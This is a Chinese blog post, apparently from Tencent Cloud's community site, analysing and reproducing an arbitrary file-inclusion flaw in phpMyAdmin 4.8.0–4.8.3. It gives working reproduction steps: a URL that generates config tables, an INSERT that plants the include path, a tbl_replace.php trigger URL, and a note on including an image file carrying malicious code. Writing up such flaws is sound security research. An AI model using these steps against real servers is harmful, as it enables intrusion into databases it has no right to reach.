专栏首页Deen的代金券日记phpmyadmin 4.8.0~4.8.3 Transformation 任意文件包含漏洞分析及复现
原创

phpmyadmin 4.8.0~4.8.3 Transformation 任意文件包含漏洞分析及复现

写在前面

老感觉phpmyadmin这东西一直在爆洞,前段时间刚好碰到一个有phpmyadmin和数据库密码,4.8.3的版本,潜意识的以为这种大家看烂了最新版应该很安全了,还是太菜了。

漏洞分析

漏洞其实很简单,就是有个文件包含的地方,文件名是从数据库里取的。所以漏洞触发就是先改数据库,把文件名改成我们需要包含的恶意文件,再去包含触发。

tbl_replace.php 220行

  1. 生成phpmyadmin配置表

http://127.0.0.1/phpMyAdmin-4.8.3-english/phpMyAdmin-4.8.3-english/chk_rel.php?fixall_pmadb=1&db=mysql 在mysql数据库中生成配置表

  1. 修改数据库

`INSERT INTO pma__column_info SELECT '1', 'mysql', 'test', 'test', 'test',

'test', 'test', 'test',

'thisisatest','test';`先随便插入一条测试一下,代码里加个var_dump输出瞅瞅。

  1. 触发

http://127.0.0.1/phpMyAdmin-4.8.3-english/phpMyAdmin-4.8.3-english/tbl_replace.php?db=mysql&table=test&where_clause=1=1&fields_name[multi_edit][][]=test&clause_is_unique=1

var_dump输出的包含路径如上图。

  1. 利用

这里我是windows不包含session文件,直接包含一个含有恶意代码的jpg文件进行测试。

先修改路径。

几个小坑

  1. 生成配置表需要在已有的数据库
  2. 插入的数据要和触发时的参数如table,db等参数一致

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • chargen 拒绝服务攻击复现

    字符生成器协议,是RFC864中定义的网络服务。用于测试,调试,测量目的。可以使用tcp或udP连接,服务端口通常为19,会返回随机数量的随机字符。

    Deen_
  • thinkphp5 RCE分析及复现

    tp5最近爆了个rce,最先看到是在斗鱼src公众号上发的分析文章,这么大的洞,到了第二天那些什么安全网站连个预警都没有,估计tp5的站都被撸穿了。

    Deen_
  • 破解某单机游戏到学习fiddler脚本改包

    前段日子出去玩了,游山玩水的,网太差,就下了个单机耍耍。水墨风,打斗效果挺不错的(那么,请问哪里能够下载到呢?)

    Deen_
  • Elasticsearch--Date math在索引中的使用

    在Elasticsearch,有时要通过索引日期来筛选某段时间的数据,这时就要用到ES提供的日期数学表达式   描述:   特别在日志数据中,只是查询一段...

    用户1174963
  • ggplot_Violin Plot & dot plot

    小提琴图用于可视化数据的分布及其概率密度。它是箱式图和密度图的组合,密度图通过旋转放置在箱式图侧边,以显示数据的分布形状。小提琴图比箱形图显示更多的信息。主要是...

    用户7760819
  • 一步一步教你使用AgileEAS.NET基础类库进行应用开发-基础篇-演示ORM的基本操作

    系统回顾           前面的四篇文章我详细的介绍了AgileEAS.NET平台中统一数据访问(UDA)组件的用法,分析了两种数据处理流程的优缺点,以及基...

    魏琼东
  • Intellij idea打带Manifest文件的jar包(可执行jar包)

    老版本Intellij idea可以很方便地打带Manifest文件的jar包,也就是可行性的Jar包。今天使用新版的Intellij idea打jar包时遇到...

    程裕强
  • 分类算法实例一:用Logistic算法进行乳腺癌数据分类

    魏晓蕾
  • Python导入运行的当前模块报错

    众所周知,Python模块导入的查找路径可以通过sys.path查看,我看了一下:

    烟草的香味
  • 数据迁移的几种方式 - MySQL数据库

    开始和数据库玩耍以后,我们将一直与SQL和数据打交道。在日常的操作中,我们只需要对指定的数据库进行操作,执行增删改查,权限管理等。但有些时候由于项目的升级,或...

    聚沙成塔

扫码关注云+社区

领取腾讯云代金券